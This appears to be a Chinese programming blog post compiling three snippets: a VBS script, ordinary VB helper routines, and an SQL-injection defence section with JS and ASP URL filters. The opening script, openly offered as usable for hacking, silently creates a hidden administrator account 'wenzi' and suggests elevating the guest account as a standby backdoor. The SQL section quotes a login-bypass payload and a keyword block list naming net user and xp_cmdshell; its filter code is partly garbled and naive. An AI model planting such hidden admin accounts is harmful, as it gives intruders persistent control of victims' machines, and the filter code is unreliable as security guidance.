实用安全小程序

一个实用小程序,稍作修改即可用于黑客攻击,多谢”吃水的蚊子(328936206)”不惜“以身试法”进行测试。
 
vbs脚本内容如下:
 
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("net user wenzi wenzi /ad",0)
b=wshshell.run ("net localgroup Administrators wenzi /add",0)
 
也可修改通过这个程序将guest加入到管理员组,需要时随时激活帐号即可。
 
注意:
保存文件的扩展名必须是.vbs,即可隐藏运行指定的命令或批处理程序。这个vbs脚本也可以在其它环境中直接调用。
=====================================================================
一组VB实用小程序函数(收集于"中华网络安全联盟")
 
用VB实现编程离不开函数调用及Windows API函数的调用,以下是笔者收集的一些实用的小例程,它们可以直接用在你的实际编程中,也可以根据实际应用加以扩充完善。其中涉及Windows API函数调用的代码你可以从VB5.0系统的API函数查看器中复制函数定义内容,以避免出错。
  1.系统型表单
  系统型意味着用户完成当前表单操作之前无法进行其它操作,这对于编制系统口令保护界面尤为重要。如果你希望当前表单系统型表单,需如下定义API函数:
Declare Function SetSysModalWindow Lib "User" (ByVal hWnd As Integer) As Integer
  然后调用:oldSysModal = SetSysModalWindow([Form].hWnd)
  2.获取驱动器类型
  代码如后:
Declare Function GetDriveType Lib “Kernel" (ByVal nDrive As Integer) As Integer
Global Const DRIVE_REMOVEABLE% = 2, DRIVE_FIXED% = 3
Global Const DRIVE_REMOTE% = 4

  3.表单在对中
  本子程序功能使表单定位在屏幕中央,在表单中任何需要表单对中的地方只需加入一行代码:
“centerwindow.me”即可成功调用。
Public Sub CenterWindow(f As Form)
f.Top = (Screen.Height * .5) - (f.Height * .5)
f.Left = (Screen.Width * .5) - (f.Width * .5)
End Sub

  4. 定义变量
  许多的程序员习惯于如下定义变量:
Dim iNum, iNextNum, iLastNum as Integer

  实际上只有最后一个变量被设为了整型,前两个变量则是系统的缺省的Variant 数据类型,而Variant 数据类型可用来替换任何数据类型,显然对于精练的程序设计是不利的。 正确的方法如下:
Dim iNum as Integer
Dim iNextNum as Integer
Dim iLastNum as Integer

  5. 使文本高亮
  本子程序使被触发的诸如文本,标签等控件的文本被选中
Public Sub SetSelected()
Screen.ActiveControl.SelStart = 0
Screen.ActiveControl.SelLength = Len(Screen.ActiveControl.Text)
End Sub

  6. 关闭其它程序
  下面的代码可关闭内存中的其它程序
  title = "MyAPP" '定义你需关闭的程序窗口的标题
ihWnd = findWindow(0&, Title)
ihTask = GetWindowTask (ihWnd)
iRet = PostAppMessage(ihTask, WM_QUIT, 0, 0&)

  7. 文件存在否?
  本函数返回查找的文件是否存在。
Function FileExist(Filename as string) as Boolean
FileExist = Iif(Dir(Filename) <> "", True, False)
End Function

  8. 主程序唯一
  用下面提供的代码作你的主程序可防止应用程序的多重执行,你应当将它放在确信需要它的代码模块内。
Public Sub Main()
If App.PrevInstance Then
BringWindowToTop frmMain.hwnd
Else
Load frmMain
End If
End Sub

  上面这些精悍的代码对于专业程序员来说非常有实用价值,希望你能从中获得启发。
=================================================
防范SQL注入式攻击JS版本(收集于"月光软件站")
 
SQL注入式攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql命令以及进行其他方式的攻击
动态生成Sql命令时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。
比如:
如果你的查询语句是select * from admin where username='"&user&"' and password='"&pwd&"'"
那么,如果我的用户名是:1' or '1'='1
那么,你的查询语句将会变成:
select * from admin where username='1 or '1'='1' and password='"&pwd&"'"
这样你的查询语句就通过了,从而就可以进入你的管理界面。
所以防范的时候需要对用户的输入进行检查。特别式一些特殊字符,比如单引号,双引号,分号,逗号,冒号,连接号等进行转换或者过滤。
需要过滤的特殊字符及字符串有:
   net user
   xp_cmdshell
   /add
   exec master.dbo.xp_cmdshell
   net localgroup administrators
   select
   count
   Asc
   char
   mid
   '
   :
   "
   insert
   delete from
   drop table
   update
   truncate
   from
   %
下面是我写的两种关于解决注入式攻击的防范代码,供大家学习参考!
js版的防范SQL注入式攻击代码:
  
<script language="****">
<!--
var url = location.search;
var re=/^\?(.*)(select%20|insert%20|delete%20from%20|count\(|drop%20table|update%20truncate%20|asc\(|mid\(|char\(|xp_cmdshell|exec%20master|net%20localgroup%20administrators|\"|[IMG]../../image/bbs3000/whatchutalkingabout_smile.gif[/IMG]net%20user|\'|%20or%20)(.*)$/gi;
var e = re.test(url);
if(e) {
alert("地址中含有非法字符~");
location.href="error.asp";
}
//-->
<script>
[CODE END]

asp版的防范SQL注入式攻击代码~:
[CODE START]
<%
On Error Resume Next
Dim strTemp
If LCase(Request.ServerVariables("HTTPS")) = "off" Then
strTemp = "http://"
Else
strTemp = "https://"
End If
strTemp = strTemp & Request.ServerVariables("SERVER_NAME")
If Request.ServerVariables("SERVER_PORT") <> 80 Then strTemp = strTemp & ":" & Request.ServerVariables("SERVER_PORT")
strTemp = strTemp & Request.ServerVariables("URL")
If Trim(Request.QueryString) <> "" Then strTemp = strTemp & "?" & Trim(Request.QueryString)
strTemp = LCase(strTemp)
If Instr(strTemp,"select%20") or Instr(strTemp,"insert%20") or Instr(strTemp,"delete%20from") or Instr(strTemp,"count(") or Instr(strTemp,"drop%20table") or Instr(strTemp,"update%20") or Instr(strTemp,"truncate%20") or Instr(strTemp,"asc(") or Instr(strTemp,"mid(") or Instr(strTemp,"char(") or Instr(strTemp,"xp_cmdshell") or Instr(strTemp,"exec%20master") or Instr(strTemp,"net%20localgroup%20administrators") or Instr(strTemp,":") or Instr(strTemp,"net%20user") or Instr(strTemp,"'") or Instr(strTemp,"%20or%20") then
Response.Write "<script language='****'>"
Response.Write "alert('非法地址!!');"
Response.Write "location.href='error.asp';"
Response.Write "<script>"
End If
%>
以下是较为简单的防范方法,这些都是大家比较熟悉的方法,我就是转帖过来。希望能给你一点帮助~
主要是针对数字型的变量传递:
id = Request.QueryString("id")
If Not(isNumeric(id)) Then
Response.Write "非法地址~"
Response.End
End If
 
 

你可能感兴趣的:(sql注入,安全,实用,vb,小程序)